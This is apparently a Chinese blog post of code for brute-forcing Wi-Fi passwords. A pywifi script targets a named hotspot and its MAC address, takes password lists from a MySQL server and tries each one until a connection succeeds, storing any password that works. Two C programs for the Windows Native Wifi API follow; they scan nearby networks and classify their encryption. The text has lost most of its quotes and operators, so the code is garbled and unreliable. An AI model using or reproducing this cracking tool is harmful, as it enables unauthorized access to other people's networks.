import loopcontrol loopcontrol.loopSwtichOff(./test/loop.db) print(本次循环完成即结束。)import sqlite3 def loopSwtichOn(dbname./test/loopSwitch.db): conn sqlite3.connect(dbname) c conn.cursor() #如果不存在则创建数据表varlist #如果不存在则插入loopswtchon #如果存在则update loopswtchon sqlitefCREATE TABLE IF NOT EXISTS varlist(\ nam varchar(20) not null unique,\ val text,\ primary key(nam)); #print(sqlite) c.execute(sqlite) sqlitefselect exists(select * from varlist where namloopSwtich); #print(sqlite) c.execute(sqlite) #print(exist) if c.fetchone()[0]1: sqlitefupdate varlist set val1 where nam loopSwtich; #print(sqlite) c.execute(sqlite) conn.commit() else: sqlitefinsert into varlist(nam,val)values(loopSwtich,1); c.execute(sqlite) conn.commit() pass c.close() conn.close() del c del conn pass def loopSwtichOff(dbname./test/loopSwitch.db): conn sqlite3.connect(dbname) c conn.cursor() #如果不存在则创建数据表varlist #如果不存在则插入loopswtchoff #如果存在则update loopswtchoff sqlitefCREATE TABLE IF NOT EXISTS varlist(\ nam varchar(20) not null unique,\ val text,\ primary key(nam)); #print(sqlite) c.execute(sqlite) sqlitefselect exists(select * from varlist where namloopSwtich); c.execute(sqlite) if c.fetchone()[0]1: sqlitefupdate varlist set val0 where nam loopSwtich; c.execute(sqlite) conn.commit() else: sqlitefinsert into varlist(nam,val)values(loopSwtich,0); c.execute(sqlite) conn.commit() pass c.close() conn.close() del c del conn pass def ReadLoopSwtich(dbname./test/loopSwitch.db): conn sqlite3.connect(dbname) c conn.cursor() c.execute(PRAGMA read_only_databaseOFF) sqlitefselect val from varlist where namloopSwtich c.execute(sqlite) switchint(c.fetchone()[0]) c.close() conn.close() del c del conn return switch#暴力破解 class arrows(opwifi): def __init__(self, wifiIC0): super().__init__(wifiIC) self.loop ./test/loop.db self.pswds ./test/pswds.db self.cachedb ./test/cache.db self.timedb ./test/time.db self.step 10 self.scale 10 self.crackcursor 0 self.scanwait 5 self.mysqlhost 192.168.0.100 pass def __del__(self): super().__del__() del self.loop del self.pswds del self.cachedb del self.timedb del self.step del self.scale del self.crackcursor del self.scanwait del self.mysqlhost pass def crack_arrows9(self,step10,scale1,cnnt2.1): gc.enable() loopcontrol.loopSwtichOn(self.loop) cache crackcache(self.cachedb) cache.init_varlist() cache.init_wifipswd() cache.init_timespan() del cache while loopcontrol.ReadLoopSwtich(self.loop)1: print(scan wait time(s):,self.scanwait) self.wifi_scan(self.scanwait) self.wifi_scan_result_print() def crack_arrows7(self,step10,scale1,cnnt2.1): gc.enable() loopcontrol.loopSwtichOn(self.loop) cache crackcache(self.cachedb) cache.init_varlist() cache.init_wifipswd() cache.init_timespan() del cache writer writecache(self.cachedb) writer.insert_aimhotspot_varlist(Tenda_辉煌,08:40:f3:bf:4c:61) writer.insert_scale_importpswds(scale) writer.insert_step_importpswds(step) writer.insert_cnnt(cnnt) writer.delete_wifipswd() #这里不要删 del writer #如果本地没有数据 try: readp pswddict.ReadPswddict(self.pswds) self.crackcursor readp.query_CrackCursor() del readp except: self.crackcursor pswddict.import_crackwificursor(self.mysqlhost) pswddict.insert_pswdCursor(self.crackcursor,self.pswds) timespan.migrate(self.cachedb,self.timedb) readca readcache(self.cachedb) self.step readca.query_step_wificonnect() self.scale readca.query_scale_importpswds() while loopcontrol.ReadLoopSwtich(self.loop)1: if readca.query_countwifipswd()0: scanwait5 else: writer writecache(self.cachedb) writer.update_circ(time.time()-self.scan_on) del writer ciclereadca.query_circ() scanwait5-cicle while scanwait0: scanwaitscanwait5 print(scan wait time(s):,scanwait) self.wifi_scan(scanwait) self.wifi_scan_result_print() writer writecache(self.cachedb) writer.insert_scanwifi(time.time(),scanwait,self.bss.__len__()) for w in self.bss: writer.insert_wifiinfo(time.time(), w.ssid.encode(raw_unicode_escape).decode(utf-8), w.bssid[:-1]) del writer # if scaned aim hotspot exist False mac readca.query_aimhotspot_mac() for w in self.bss: if w.bssid[:-1] mac: exist True if exist True: print(crackcursor:,self.crackcursor) pswddict.importPswddict(self.step*self.scale,self.pswds,self.mysqlhost) readp pswddict.ReadPswddict(self.pswds) cnntwaitreadca.query_cnnt() for p in readp.querySqlite_pswddict(self.crackcursor,self.step): status self.wificonnect(readca.query_aimhotspot_mac(), readca.query_aimhotspot_ssid(),p[1],cnntwait) print(p) writer writecache(self.cachedb) writer.update_cnnt(cnntwait) del writer if status const.IFACE_CONNECTED: writer writecache(self.cachedb) writer.update_wifipswd(readca.query_aimhotspot_mac(),p[1],\ self.profile_AuthAlgorithm(),\ self.profile_CipherAlgorithm()) del writer pswddict.update_pswdsParams(self.pswds,1,1,p[1]) else: pswddict.update_pswdsParams(self.pswds,1,0,p[1]) del readp self.crackcursorp[0] print(self.crackcursor) pswddict.insert_pswdCursor(self.crackcursor,self.pswds) SyncParams.export_wificrack(readca.query_wifipswd(),self.mysqlhost) pswddict.export_crackwificursor(self.crackcursor,self.mysqlhost) pswddict.export_pswddictparams(self.pswds,self.mysqlhost) pswddict.delete_pswdsbeforeCursor(self.crackcursor,self.pswds) gc.collect() timespan.migrate(self.cachedb,self.timedb) loopcontrol.loopSwtichOff(self.loop) passimport CrackWifi crack CrackWifi.arrows(0) #crack.crack_arrows9(20) crack.crack_arrows7() del crackCrackWiFi pywifiimport pywifi from pywifi import const import time class opwifi: def __init__(self,wifiIC0): # 创建wifi对象 self.wifi pywifi.PyWiFi() # 创建网卡对象为第一个wifi网卡 self.interface self.wifi.interfaces()[wifiIC] # 创建连接文件对象 self.profile pywifi.Profile() self.bss set() #存储扫描结果 self.scan_on0 #开始扫描时刻 self.scan_ed0 #结束扫描时刻 self.connect_on0 #开始连接时刻 self.connect_ed0 #结束连接时刻 pass def __del__(self): del self.scan_on del self.scan_ed del self.connect_on del self.connect_ed del self.profile del self.interface del self.wifi pass pass def wifi_scan(self,delay_s0): self.scan_on time.time() self.interface.scan() self.bss.clear() time.sleep(delay_s) #低于1秒可能就扫不出结果最好在5秒以上 self.bss self.interface.scan_results() self.scan_ed time.time() pass def wifi_scan_result_print(self): print(scaned count:,self.bss.__len__()) if self.bss.__len__() 0: return #for w in self.bss: # print(w.signal) # 存入列表并按信号排序 wifi_list list(self.bss) wifi_list.sort(keylambda a: a.signal, reverseTrue) #lambda a: a[0] # 格式化输出 print({:4} {:18} {:7} {:30}.format(dBm, BSSID,FREQ ,SSID)) for w in wifi_list: print({:5d}{:18s} {:8d} {:36s}.format(w.signal,\ w.bssid[:-1],\ w.freq,\ w.ssid.encode(raw_unicode_escape).decode(utf-8))) pass del wifi_list pass WIFI破解模块 def wificonnect(self,wifi_mac,wifi_name,pwd,waitcon,authconst.AUTH_ALG_OPEN, akmconst.AKM_TYPE_WPA2PSK,cipherconst.CIPHER_TYPE_CCMP): self.connect_ontime.time() # 断开所有wifi连接 self.interface.disconnect() # 等待其断开 #const.IFACE_CONNECTED #4 while self.interface.status() const.IFACE_CONNECTED: # 当其处于连接状态时利用循环等待其断开 pass self.profile.__init__() # wifi名称 self.profile.bssidwifi_mac self.profile.ssid wifi_name # 需要认证 self.profile.auth auth # wifi默认加密算法 self.profile.akm.clear() self.profile.akm.append(akm) self.profile.cipher cipher # wifi密码 self.profile.key pwd # 删除所有wifi连接文件 self.interface.remove_all_network_profiles() # 设置新的wifi连接文件 tmp_profile self.interface.add_network_profile(self.profile) # 开始尝试连接 self.interface.connect(tmp_profile) #连接结果 time.sleep(waitcon) rst self.interface.status() self.connect_ed time.time() return rst def profile_AuthAlgorithm(self): AuthAlgorithm if self.profile.akm[0]const.AKM_TYPE_WPA: AuthAlgorithmWPA elif self.profile.akm[0]const.AKM_TYPE_WPA2: AuthAlgorithmWPA2 elif self.profile.akm[0]const.AKM_TYPE_WPAPSK: AuthAlgorithmWPAPSK elif self.profile.akm[0]const.AKM_TYPE_WPA2PSK: AuthAlgorithmWPA2PSK elif self.profile.akm[0]const.AKM_TYPE_NONE: AuthAlgorithmNONE return AuthAlgorithm def profile_CipherAlgorithm(self): #CipherAlgorithm加密算法 CipherAlgorithm if self.profile.cipherconst.CIPHER_TYPE_WEP: CipherAlgorithmWEP elif self.profile.cipherconst.CIPHER_TYPE_CCMP: CipherAlgorithmCCMP elif self.profile.cipherconst.CIPHER_TYPE_TKIP: CipherAlgorithmTKIP elif self.profile.cipherconst.CIPHER_TYPE_NONE: CipherAlgorithmNONE return CipherAlgorithm pass用C写的获取WiFi扫面信息下面两张图是项目配置不要忽略#include windows.h #include wlanapi.h #include stdio.h #include string #pragma comment(lib, wlanapi.lib) #pragma comment(lib, ole32.lib) // 辅助MAC地址转字符串 std::string mac_str(const DOT11_MAC_ADDRESS m) { char buf[18]; snprintf(buf, sizeof(buf), %02X:%02X:%02X:%02X:%02X:%02X, m[0], m[1], m[2], m[3], m[4], m[5]); return buf; } // 辅助频率转信道粗略 int freq_to_ch(ULONG f) { if (f 2412 f 2484) return (f - 2407) / 5; if (f 5180 f 5885) return (f - 5000) / 5; return 0; } void process(HANDLE h, const GUID guid, const WCHAR* desc) { printf(\n接口: %ls\n, desc); PWLAN_BSS_LIST bsl nullptr; if (WlanGetNetworkBssList(h, guid, nullptr, dot11_BSS_type_any, FALSE, nullptr, bsl) ERROR_SUCCESS) { // 修正dwNumberOfItems printf( 找到 %lu 个 BSS\n, bsl-dwNumberOfItems); for (DWORD i 0; i bsl-dwNumberOfItems; i) { WLAN_BSS_ENTRY e bsl-wlanBssEntries[i]; // 修正uSSIDLength 和 ucSSID std::string ssid((char*)e.dot11Ssid.ucSSID, e.dot11Ssid.uSSIDLength); printf( [%2lu] %s ch%d RSSI%ld SSID%s\n, i, mac_str(e.dot11Bssid).c_str(), freq_to_ch(e.ulChCenterFrequency), e.lRssi, ssid.c_str()); } WlanFreeMemory(bsl); } else { printf( (获取 BSS 列表失败可能需要管理员权限)\n); } } int main() { HANDLE h nullptr; DWORD ver 0, rc WlanOpenHandle(2, nullptr, ver, h); if (rc ! ERROR_SUCCESS) { fprintf(stderr, WlanOpenHandle 失败 0x%08X请管理员运行\n, rc); return 1; } PWLAN_INTERFACE_INFO_LIST ifl nullptr; if (WlanEnumInterfaces(h, nullptr, ifl) ERROR_SUCCESS) { // 修正dwNumberOfItems for (DWORD i 0; i ifl-dwNumberOfItems; i) process(h, ifl-InterfaceInfo[i].InterfaceGuid, ifl-InterfaceInfo[i].strInterfaceDescription); WlanFreeMemory(ifl); } // 修正必须 2 个参数 WlanCloseHandle(h, nullptr); return 0; }第二版可以根据广播信息判断加密方式。// nativewifi.cpp —— Native Wifi 读取 Beacon/ProbeResp 并解析加密方式 // VS2022x64 Release右键“以管理员身份运行” // 编译cl /EHsc /std:c17 nativewifi.cpp /link wlanapi.lib ole32.lib #include windows.h #include wlanapi.h #include stdio.h #include string #include vector #include unordered_map #pragma comment(lib, wlanapi.lib) #pragma comment(lib, ole32.lib) // SDK 兼容性自检 // 老 SDK 的 WLAN_BSS_ENTRY 没有 ulIeOffset/ulIeSize编译会卡在这里。 // 若出现 “没有成员 ulIeOffset” —— 见文末【方案 B】把下面这行改成 0 即可。 #define HAVE_IE_BLOB 1 #if HAVE_IE_BLOB // 老 SDK 里连 DOT11_BSS_ENTRY 都叫别的名字这里按 wlanapi.h 的真实定义兜底 using BssEnt WLAN_BSS_ENTRY; #else // 方案 B没有 IE blob只走系统字段加密只能粗判 struct BssEntStub { DOT11_SSID dot11Ssid; ULONG uPhyId; DOT11_MAC_ADDRESS dot11Bssid; DOT11_BSS_TYPE dot11BssType; DOT11_PHY_TYPE dot11BssPhyType; LONG lRssi; ULONG uLinkQuality; BOOLEAN bInRegDomain; USHORT usBeaconPeriod; ULONGLONG ullTimestamp; ULONGLONG ullHostTimestamp; USHORT usCapabilityInformation; ULONG ulChCenterFrequency; WLAN_RATE_SET wlanRateSet; // 故意没有 IE 字段 }; using BssEnt BssEntStub; #endif // // ---------- 工具 ---------- static std::string mac_str(const DOT11_MAC_ADDRESS m) { char buf[18]; snprintf(buf, sizeof(buf), %02X:%02X:%02X:%02X:%02X:%02X, m[0], m[1], m[2], m[3], m[4], m[5]); return buf; } static int freq_to_ch(ULONG f) { if (f 2412000 f 2484000) return (int)(f - 2412000) / 5000 1; if (f 5000000 f 5895000) return (int)(f - 5000000) / 5000 36; if (f 2412 f 2484) return (int)(f - 2407) / 5; // 单位写错兜底 if (f 5000 f 5895) return (int)(f - 5000) / 5; return 0; } static std::string safe_ssid(const DOT11_SSID s) { return std::string((const char*)s.ucSSID, s.uSSIDLength 32 ? s.uSSIDLength : 32); } // ---------- IE 链 ---------- struct Ie { uint8_t id{}; std::vectoruint8_t data; }; static std::vectorIe parse_ies(const uint8_t* p, ULONG sz) { std::vectorIe out; if (!p) return out; ULONG i 0; while (i 2 sz) { uint8_t eid p[i], len p[i 1]; if (i 2 len sz) break; // 驱动不保证 IE 合法 out.push_back({ eid, {p i 2, p i 2 len} }); i 2u len; } return out; } // ---------- 加密方式拆 RSN IETag 48---------- struct Suite { uint8_t oui[3]{}; uint8_t type{}; }; static const uint8_t OUI_IEEE[3] { 0x00, 0x0F, 0xAC }; static std::string cipher_name(const Suite s, bool isGroup) { static const std::unordered_mapuint8_t, const char* t { {0x00,Use-Group},{0x01,WEP-40},{0x02,TKIP},{0x03,WRAP}, {0x04,CCMP-128},{0x05,WEP-104},{0x06,BIP-CMAC-128}, {0x08,GCMP-128},{0x09,GCMP-256},{0x0A,CCMP-256}, {0x0B,BIP-GMAC-128},{0x0C,BIP-GMAC-256},{0x0D,BIP-CMAC-256}, }; if (s.type 0 isGroup) return (none/use-group); char o[32]; if (memcmp(s.oui, OUI_IEEE, 3) 0) return t.count(s.type) ? t.at(s.type) : (rsvd-0x std::to_string(s.type)); snprintf(o, sizeof(o), ven:%02X%02X%02X-%02X, s.oui[0], s.oui[1], s.oui[2], s.type); return o; } static std::string akm_name(const Suite s) { static const std::unordered_mapuint8_t, const char* t { {0x01,802.1X},{0x02,PSK},{0x03,FT-802.1X},{0x04,FT-PSK}, {0x05,802.1X-SHA256},{0x06,PSK-SHA256},{0x07,TDLS}, {0x08,SAE}, // WPA3-Personal {0x09,FT-SAE},{0x0A,FT-802.1X-SHA384},{0x0B,FT-PSK-SHA384}, {0x0C,Suite-B-1X},{0x0D,Suite-B-192-1X}, // WPA3-企业192位 {0x0E,FT-Suite-B-1X},{0x0F,FT-Suite-B-192-1X}, {0x18,OWE}, // 增强开放 }; char o[32]; if (memcmp(s.oui, OUI_IEEE, 3) 0) return t.count(s.type) ? t.at(s.type) : (AKM-0x std::to_string(s.type)); snprintf(o, sizeof(o), ven:%02X%02X%02X-%02X, s.oui[0], s.oui[1], s.oui[2], s.type); return o; } struct SecInfo { bool wep false, wpa1 false, wpa2 false; bool wpa3 false, enterprise false, owe false, transition false; std::vectorSuite group, pairwise, akm, mgmt; uint16_t rsnCaps 0; bool mfpc() const { return (rsnCaps 0x0080) ! 0; } // 管理帧保护支持 bool mfpr() const { return (rsnCaps 0x0040) ! 0; } // 管理帧保护强制 std::string verdict() const { if (owe) return OWE增强开放实则加密; if (wep) return WEP已淘汰可秒破; if (!wpa2 !wpa3 !wpa1) return OPEN无加密; std::string s wpa3 ? WPA3 : (wpa1 ? WPA1 : WPA2); if (transition) s 过渡模式(PSKSAE); s enterprise ? -企业 : -个人; if (mfpr()) s | PMF强制; else if (mfpc()) s | PMF支持(可选); return s; } }; // 按 RSN IE 标准布局拆版本|组播套件|单播数|单播...|AKM数|AKM...|能力|PMKID...|管理套件 static SecInfo parse_rsn(const uint8_t* d, size_t len) { SecInfo s; if (!d || len 2) return s; size_t p 2; // 跳过版本(2B) auto rd4 [](Suite x) - bool { if (p 4 len) return false; memcpy(x.oui, d p, 3); x.type d[p 3]; p 4; return true; }; auto rd2 []() - uint16_t { if (p 2 len) { p len; return 0; } uint16_t v *(const uint16_t*)(d p); p 2; return v; }; Suite g; if (!rd4(g)) return s; // ① 组播套件 s.group.push_back(g); s.wpa2 true; uint16_t pc rd2(); // ② 单播套件 for (int i 0; i pc p 4 len; i) { Suite x; rd4(x); s.pairwise.push_back(x); } uint16_t ac rd2(); // ③ AKM 套件 std::vectorSuite akms; for (int i 0; i ac p 4 len; i) { Suite x; rd4(x); akms.push_back(x); } s.akm std::move(akms); if (p 2 len) { s.rsnCaps *(const uint16_t*)(d p); p 2; } // ④ RSN 能力 uint16_t kc rd2(); p (size_t)kc * 16; // ⑤ PMKID跳过 if (p 4 len) { Suite m; memcpy(m.oui, d p, 3); m.type d[p 3]; s.mgmt.push_back(m); } // ⑥ 管理套件 auto ieee [](const Suite x) { return memcmp(x.oui, OUI_IEEE, 3) 0; }; bool hasSae false, hasPsk false; for (auto a : s.akm) { if (!ieee(a)) continue; if (a.type 0x08 || a.type 0x09 || a.type 0x0F) { s.wpa3 true; hasSae true; } if (a.type 0x02 || a.type 0x04 || a.type 0x06) hasPsk true; if (a.type 0x01 || a.type 0x03 || a.type 0x05 || a.type 0x0C || a.type 0x0D) s.enterprise true; if (a.type 0x18) s.owe true; } if (hasSae hasPsk !s.enterprise) s.transition true; return s; } static SecInfo analyze(const std::vectorIe ies, USHORT cap) { SecInfo s; for (auto e : ies) { if (e.id 48 !e.data.empty()) { // RSN SecInfo r parse_rsn(e.data.data(), e.data.size()); s.wpa2 | r.wpa2; s.wpa3 | r.wpa3; s.enterprise | r.enterprise; s.owe | r.owe; s.transition | r.transition; s.rsnCaps r.rsnCaps; if (!r.group.empty()) s.group std::move(r.group); if (!r.pairwise.empty()) s.pairwise std::move(r.pairwise); s.akm std::move(r.akm); s.mgmt std::move(r.mgmt); } else if (e.id 221 e.data.size() 12 memcmp(e.data.data(), \x00\x50\xF2\x01, 4) 0) { s.wpa1 true; // WPA(1) Vendor IE } } if (!s.wpa2 !s.wpa3 !s.wpa1 (cap 0x0010)) s.wep true; return s; } static void dump_ies(const std::vectorIe ies) { static const std::unordered_mapuint8_t, const char* nm { {0,SSID},{1,Rates},{3,DS(信道)},{5,TIM},{7,Country}, {11,BSS Load},{45,HT Cap},{48,RSN},{50,Ext Rates}, {54,ERP},{61,HT Op},{127,Ext Cap},{191,VHT Cap}, {192,VHT Op},{221,Vendor(WPA/WPS)},{255,HE Cap},{256,HE Op}, }; for (auto e : ies) { printf( [IE %3u %-14s] len%2zu, e.id, nm.count(e.id) ? nm.at(e.id) : ?, e.data.size()); if (e.id 3 e.data.size() 1) printf( 信道%u, e.data[0]); if (e.id 48) printf( ★RSN); putchar(\n); } } // ---------- 主处理 ---------- void process(HANDLE h, const GUID guid, const WCHAR* desc) { printf(\n接口: %ls\n, desc); PWLAN_BSS_LIST bsl nullptr; if (WlanGetNetworkBssList(h, guid, nullptr, dot11_BSS_type_any, FALSE, nullptr, bsl) ERROR_SUCCESS) { printf( 找到 %lu 个 BSS\n, bsl-dwNumberOfItems); for (DWORD i 0; i bsl-dwNumberOfItems; i) { const WLAN_BSS_ENTRY e bsl-wlanBssEntries[i]; std::vectorIe ies; #if HAVE_IE_BLOB ies parse_ies(reinterpret_castconst uint8_t*(e) e.ulIeOffset, e.ulIeSize); #endif auto sec analyze(ies, e.usCapabilityInformation); int ch freq_to_ch(e.ulChCenterFrequency); std::string ssid((char*)e.dot11Ssid.ucSSID, e.dot11Ssid.uSSIDLength); printf(\n[%2lu] %s ch%d RSSI%ld dBm LQ%lu%%\n, i, mac_str(e.dot11Bssid).c_str(), ch, e.lRssi, e.uLinkQuality); printf( SSID%s\n, ssid.c_str()); printf( 加密: %s\n, sec.verdict().c_str()); // 依赖你上一轮的 analyze() printf( Cap0x%04X%s%s%s\n, e.usCapabilityInformation, (e.usCapabilityInformation 1) ? ESS : , (e.usCapabilityInformation 2) ? IBSS : , (e.usCapabilityInformation 0x10) ? Privacy : ); } WlanFreeMemory(bsl); } else { printf( (获取 BSS 列表失败可能需要管理员权限)\n); } } int main() { HANDLE h nullptr; DWORD ver 0, rc WlanOpenHandle(2, nullptr, ver, h); if (rc ! ERROR_SUCCESS) { fprintf(stderr, WlanOpenHandle 失败 0x%08X请管理员运行\n, rc); return 1; } PWLAN_INTERFACE_INFO_LIST ifl nullptr; if (WlanEnumInterfaces(h, nullptr, ifl) ERROR_SUCCESS) { for (DWORD i 0; i ifl-dwNumberOfItems; i) process(h, ifl-InterfaceInfo[i].InterfaceGuid, ifl-InterfaceInfo[i].strInterfaceDescription); WlanFreeMemory(ifl); } else { fprintf(stderr, WlanEnumInterfaces 失败 0x%08X\n, rc); } WlanCloseHandle(h, nullptr); return 0; }
阅读完成 · 觉得有帮助?